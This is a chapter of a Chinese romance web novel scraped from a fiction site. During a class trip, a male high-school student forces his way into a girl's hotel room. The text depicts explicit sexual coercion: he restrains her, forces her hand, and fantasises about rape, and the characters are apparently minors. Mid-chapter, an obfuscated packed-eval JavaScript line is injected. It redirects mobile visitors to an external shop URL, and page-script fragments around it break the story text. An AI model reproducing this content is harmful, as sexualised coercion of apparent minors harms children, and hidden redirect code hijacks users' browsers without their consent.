文趣网 > 都市小说 > 路人甲每天都在修罗场 > 47. 赤壁战
    池菱睡醒的时候,游戏里的小人已经变成了武林霸主。

    飞机穿过云层缓缓降落,窗外是大片的晚霞,橙色与紫色交织,脚下已经是另一座城市。

    帝都作为国内数一数二发达的城市,文化底蕴深厚,到处都有网红旅游景点,繁华程度丝毫不逊色于A城,而且消费水平相对不那么参差不齐,总之是个适合上学工作的城市。

    就是有可能会被人说是臭外地的。

    一群外地人刚踏出机场出口,好几辆宽敞的大型车早已等候在外,珀瑞尔酒店具备周到的接送服务,当然,也有可能是因为小老板馥屿言在场的缘故。

    池菱再次喜提单人单间。

    拖着行李箱进门,房门还没来得及关上,一只骨节修长的手掰住门框。

    “急什么?老公都还没进屋,怎么就关门了?”

    段贺的语气含着笑,以及几分辨不出好坏的诘问。周围没有旁人的时候,他总是像有人格分裂那样神经,目不转睛地看着池菱。

    池菱感到莫名其妙:“你走错房间了吧?这是我的房间。”

    “什么你的我的。”段贺惊诧地睁大眼,表情十分不满:“你的就是我的,全身上下,从头到脚,都是我们的共同财产。”

    根本不知道自己比钱还招人觊觎。

    他巴不得给池菱上锁,最好哪里都锁起来,锁在家里天天被他……多么美好的生活,不仅如此,他的也是她的,池菱也可以给他上贞操锁,当做什么、想怎么玩都可以。

    段贺深吸一口气,目光在女孩湿润而柔软嘴唇上逡巡,又转移到她握着行李箱拉杆的纤细手掌。

    这么小的手,连握行李箱都勉勉强强,对比一下,心里很替她忧愁。

    池菱像是在把他当傻子看。

    对上她充满疑惑的视线,圆圆的杏眼像水洗过般湿润,段贺的人性光芒被短暂唤醒,舌尖抵着犬齿道:“宝宝,怎么不骂我了,你还是骂我吧。”

    池菱:“……”

    她就知道,她们之间隔了一层可悲的生殖隔离。

    还没来得及想好措辞,段贺已经快速带上门反锁,连防盗链子都挂好,转身巴巴地帮她拿行李,像是已经期待了很久。

    池菱站在原地不动,固执而认真道:“你不能和我一起住。”

    段贺听见自己心碎的声音:“为什么……你怎么能这么狠心,想让我独守空房到什么时候?到时候以后结婚了,让别人知道我和老婆分房睡,还以为我那方面有问题。”

    他停顿几秒,又急忙解释,生怕池菱产生误会:“宝宝,我开玩笑的,我身体完全没问题,那方面,每方面,都特别好。千万不要放置我。”

    听不懂。

    池菱不知道段贺为什么每次说话都扯东扯西的,比数学试卷最后一道大题还要难理解得多。

    她左耳进右耳出,绞尽脑汁,挤出来一句:“不是,会被同学发现,影响不好。”

    “别这么说……”

    段贺的眼神里忽然多出一抹兴奋。

    “像偷.情一样,好刺激。”

    池菱怔愣了下,理解完这个词语的意思,要伸手去捂他嘴的时候已经来不及了。

    “你好,我是隔壁的邻居,你老公今天不在家吗?我来照顾你好不好?没关系的,我保证他不会知道这件事情。”

    段贺很有礼貌地开口,好像真的把自己当做住在隔壁的邻居。

    宝宝、老婆、别人的老婆……老公不在家还敢给外面的男人开门。

    是不是因为他亲得比她老公舒服?等正牌老公回来了,看见她的小脸红扑扑的,嘴巴也肿了,检查一看,才发现她被他强*了,里面还含着他的东西。

    会不会拿刀来砍他。

    好刺激啊。

    但这不能怪他啊。

    他的老婆成为了别人的老婆,他才是受害者好不好。

    段贺眼神愈发迷离,呼吸也逐渐有了几分湿热,又不自觉把自己代入沉默到丈夫,觉得以后要在门口装电击装置才行。

    男的敢来直接电。

    “别胡闹了。”

    池菱还是捂住了他的嘴,眉头皱得能夹死一只苍蝇,而且男生长得好高,手举得累,她更想把他赶出去了。

    然而段贺的精神状态足够美丽。

    看见池菱靠近,他恨不得整个人都贴上去,犬牙咬了咬老婆的掌心,才认真解释:“我打听过了,这层楼没有认识我们的人。”

    至于原因。

    他没敢告诉池菱。

    其实他本来也不住这层楼,只不过早在出发之前,就提前预定了这一层剩余房间,为的就是不用小偷小摸地见池菱。

    段贺毫不心虚,亲亲她的手指,轻笑着说:“宝宝,我是巨婴,不能一个人睡觉的。”

    “你……”

    池菱一阵无助且词穷。

    意识到男生今天不会离开这间房间,她放弃挣扎,将手抽出,转身去卫生间洗手。

    什么拧巴的人需要一个赶不走的恋人,她还需要一个不会说话的男朋友,需要一个不会报警的银行呢。

    池菱只恨段贺不是个哑巴。

    洗完手出来,就看见段贺蹲在地上,两个行李箱并排摆在地面。他将自己的洗护用品拿出来,又一股脑放进浴室摆好。

    至于池菱带的沐浴露……被他毫不避讳地放进了自己的行李箱里。

    段贺决定要拿回去天天用,还要买一万瓶同款放在家里。

    池菱气闷道:“小偷。”

    段贺无辜地眨眨眼,这次没好意思出言反驳,因为他不止偷走了沐浴露,刚刚整理行李时,还偷了她一条小黄鸭。

    也打算带回去天天用。

    “你这个都快过期了呀,明天给你买新的。”

    池菱现在没有这么容易相信段贺的话,满脸都是“真的假的”的可爱模样,被人飞快在嘴巴上亲了一口。

    段贺推她到坐到沙发上坐着,又开始忙忙碌碌寻宝藏,帮女孩将衣服一件件挂好,又拿了件娃娃领睡裙走进浴室。

    没过多久,浴缸的放水声从浴室传来。

    段贺不紧不慢地走出来,额发像是蹭过什么般微微凌乱,露出灿烂笑容:“宝宝我放好水了,晚点会有人送晚饭上楼,要不要先帮你洗澡。”

    无事献殷勤。

    池菱脸颊气得粉红,才不搭理他,走进浴室将门无情反锁。

    浴缸里的水温恰到好处,她将刘海用发卡夹到两侧,一张纯然乖巧的脸像刚剥的水煮蛋。洗澡也洗得很保守,只露出白里透粉的肩头和锁骨,往下再看不到更多。

    洗澡是件很累的事情,擦干身体,把脏衣服扔进洗衣机,再烘干头发,已经过去了很久。

    包裹身体的浴巾被摘下,池菱走到置物架拿自己的睡裙,穿好之后才发现,没有其他衣物了。

    裙摆的长度虽然不算短,几乎盖过膝盖,但里面什么都没有,走路的时候都感觉有点凉。

    池菱呆愣几秒,呼吸都急促起来。

    段贺到底是不是故意的?

    她满心纠结,不知道要不要开口让他帮她拿进来,又不敢相信段贺的人品,最后决定不让他得逞,就这样直接走了出去。

    应该没关系的,回房间就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820343|205322||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一小段路。

    池菱暗自安慰自己。

    好在段贺还没变态到守在门口偷听,他将两人的爱巢布置了一番,餐桌上已经摆好今晚的晚餐和餐具,又去操纵墙面的显示屏挑选节目。

    池菱装作若无其事,磨磨蹭蹭地走到客厅,段贺也只是看了她一眼,始终没有提这件事。

    可能这次真的不是故意的。

    池菱觉得自己误会了他。

    想经过段贺回房间拿衣服时,忽然被人攥住了手,一道高大身躯从背后重重压下,空调温度不低,他却好像比刚洗完澡的她还要热。

    “我有事……松开。”

    “嗯?”

    段贺把她往怀里搂得更紧了些,后退几步坐到沙发,让池菱坐在他自己腿上,低下头,能看见她纤细的后颈,以及正在起伏着的,不该看到的地方。

    全身都沾着他沐浴露的味道。

    但完全不一样,好香好香。

    段贺的头脑短暂空白,紧张得几乎冒汗,喉结滚了滚:“有什么事?等会再弄,先把橙汁喝了。”

    裤子的材料很硬,坐得池菱不太舒服,还没挪动,不知分寸的男高中生将手就按在了她的大腿。

    带着不轻不重的力度,手背的蓝青色血管凸起,死活不让她站起来。

    裙子这么单薄,要是被发现了……好尴尬。

    池菱伸出手,拿起桌面那个杯子,急急忙忙地一饮而尽,喘着气道:“喝完了,放开我。”

    但哪有这么好的事情。

    段贺笑着帮她顺了顺背,忽然若有所思地开口:“宝宝,你今天和西泽里牵手了吧?”

    一时之间,池菱几乎没办法思考。

    她的眼睫仓促颤动,这才迟钝地意识到自己上当了。既然他都亲眼看见了,那她该说什么,承认还是不承认?

    池菱从男生怀里移动身体,扭过头看着他,对方的呼吸频率不太正常地加重几分。

    她道:“是。”

    这下就算段贺要骂她她也认了……尽管生气吧,最好一气之下和她分手。

    池菱有些紧张和期待。

    段贺垂眸盯着她,立体的五官逐渐在池菱视野里放大,鼻尖快要戳到她。

    裙摆已经凌乱,从滑腻柔软的大腿往上移。

    池菱按住他不太安分的手,只可惜,没等到那句分手,只等到男生不痛不痒的一句:“我生气了。”

    段贺像抓到气质出轨的丈夫,眼神让人有些背后发凉,反过来质问她:“宝宝,为什么不穿?把我裤子弄脏了怎么办?”

    弄脏……?

    池菱整个人愣住,迟来的羞耻感席卷全身,顾不上分手的事,心里充满委屈:“我洗澡了,你才脏。”

    有病吗明明是他不让她走的。

    她觉得自己是全世界最讨厌段贺的人。

    被池菱瞪了一眼,段贺不仅心痛,那里也很痛,忽然又诡异地性情大变,软着声音哄:“嗯嗯我脏,我只是怕你没洗干净,想帮你检查一下。”

    “嗯?”池菱还没反应过来,忽然被人磨了一下。

    耳边落下低哑带笑的喘息:“宝宝,自己把小*掰开,我就当做什么都不知道。”

    “而且,喝了老公的橙汁,总得给我也喝点吧?”

    忽然一凉。

    池菱的手被人握住,强迫她自己做出动作。

    直到因为害怕,被迫胡乱喊了好几句哥哥和老公,反而吃力不讨好,她又被骗了。

    “宝宝,怎么发大水了,是不是想把我淹死。”

    池菱没有力气说话,只想找人来给段贺驱邪。